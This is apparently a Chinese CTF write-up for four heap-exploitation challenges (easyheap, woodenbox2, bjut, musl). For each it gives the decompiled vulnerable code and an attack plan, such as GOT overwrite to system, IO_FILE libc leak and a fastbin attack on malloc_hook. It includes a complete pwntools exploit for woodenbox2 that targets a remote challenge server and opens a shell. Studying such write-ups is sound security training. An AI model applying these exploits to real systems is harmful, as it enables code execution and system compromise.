easyheap
程序没开PIE,got表可写
漏洞点
ptr[v1]清零了,但*(void **)ptr[v1]没有清零。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15int sub_4009E4()
{
  int v1; // [rsp+Ch] [rbp-4h]
  if ( ++dword_6020AC > 4 )
    return puts("Delete failed.");
  puts("What is the index of the item to be deleted?");
  v1 = sub_400890();
  if ( v1 < 0 || v1 > 6 || !ptr[v1] )
    return puts("Delete failed.");
  free(*(void **)ptr[v1]);
  free(ptr[v1]);
  ptr[v1] = 0LL;
  return puts("Delete successfully.");
}
思路
首先申请俩次堆块都是0x10,然后free掉,看到add函数里是先进行malloc(0x10),然后在做check,然后再申请check(0x400),所以由于free之后会残留指针,在free掉俩个堆块之后,故意输入大数字让他check size fail直接返回,然后申请一个0x10的堆块就可以实现堆块重叠。通过edit前俩次的堆块来覆盖最后一次malloc的堆块的ptr指针来指向chunk_list的位置,然后伪造chunk结构指向got,并且show一下就可以知道libc了,然后修改free_got为system然后free一个内容为/bin/sh的堆块就可以开启shell。
exp
| 1 | #!/usr/bin/env python | 
woodenbox2
got表可写,其余保护全开
漏洞点
change_item()函数里面没有对size做限制,堆溢出。
思路
题目难点在于没有输出功能,需要打io_file泄露libc基址。然后fastbin attack 打malloc_hook,这里onegadget失效,用realloc 调整偏移即可。
iofile泄露原理可参考EX师傅博客http://blog.eonew.cn/archives/1190
exp
成功率 16分之一1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
#context.log_level = 'debug'
#context.terminal = ['tmux', 'sp', '-h', '-l', '110']
def exp():
    try:
        if sys.argv[1]=="l":
        	io=process('./woodenbox2')
        	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
        	io=remote('121.36.215.224',9998)
        	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
        elf=ELF('./woodenbox2')
        def choice(idx):
            io.sendlineafter('Your choice:', str(idx))
        def add(size, content):
            choice(1)
            io.sendlineafter(':', str(size))
            io.sendafter(':', content)
        def free(idx):
        	choice(3)
        	io.sendlineafter(':',str(idx))
        def edit(idx,size, content):
            choice(2)
            io.sendlineafter(':',str(idx))
            io.sendlineafter(':',str(size))
            io.sendafter(':', content)
        # ------------------------------------------------
        iofile_off = [0x25dd,0xf5eb] #_IO_2_1_stderr_+157
        onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
        # ------------------------------------------------
        add(0x20,'aaaa')#0
        add(0x40,'aaaa')#1
        add(0x60,'aaaa')#2
        add(0xa0,'aaaa')#3
        edit(0,0x40,'a'*0x20+p64(0)+p64(0xc1))
        free(1) #1
        free(1) #2
        add(0x40,'bbbb') #0
        edit(0,0x60,'a'*0x40+p64(0)+p64(0x71)+p16(iofile_off[0]))
        add(0x60,'aaaa') # 2
        add(0x60,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00") #3
        io.recv(0x40)
        leak=u64(io.recv(8))
        info(hex(leak))
        libc.address = leak-(0x7f35bc64a600-0x7f35bc285000)
        log.success(hex(libc.address))
        malloc_hook = libc.sym['__malloc_hook']
        free_hook = libc.sym['__free_hook']
        one = libc.address+onegadgets[1]
        log.success(hex(malloc_hook))
        add(0x60,'cccc')#4
        add(0x60,'dddd')#5
        free(5)
        edit(0,0x100,0xa0*'\x17'+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
        add(0x60,'bbbb')
        add(0x60,'d'*0xb+p64(one)+p64(libc.symbols["realloc"]+13))
        choice(1)
        io.sendlineafter(':', str(60))
        io.interactive()
    except Exception as e:
        print(e)
		io.close()
while True:
    exp()
bjut
got表可写,pie没开
漏洞点
show 和 edit功能,可以输入负数,造成数组上溢。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19unsigned __int64 edit()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  puts("The index of your hw:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 15 && qword_404140[v1] )
  {
    puts("Input your hw:");
    read(0, qword_404140[v1], dword_4040E0[v1]);
  }
  else
  {
    puts("out of range!");
  }
  return __readfsqword(0x28u) ^ v2;
}
思路
通过数组上溢泄露free_got内容,然后修改 free_got为system,然后释放/bin/sh的堆块
exp
musl
做这个题的时候当时是蒙的,使用的是musl libc跟平时的glibc有很大差异。其中最大的差异是muls不支持延迟绑定,没有 malloc_hook等
具体参考 https://my.oschina.net/u/2306127/blog/1592004
漏洞点
add功能有一次堆溢出的机会
思路
溢出修改size然后free造成overlapping
free时检查了in_use和下一个chunk的prev_size,提前伪造好prev_size
overlapping后再取出来,可以uaf,free chunk的链表头部在libc,uaf之后show泄露libc地址,然后edit把fd和bk改为0x602030,利用双向链表写fd bk的操作把一个堆地址写入0x602040,将heap_store劫持到堆上,实现任意地址读写
show和edit的次数有限制,但是可以通过任意地址读写覆盖计数器
got plt都不可写,没有hook
可以通过任意地址读写改写栈,getshell
利用任意地址读,读libc中的environ泄露栈地址,算出栈顶地址,然后利用任意地址写覆盖返回地址
exp
| 1 | #!/usr/bin/env python | 



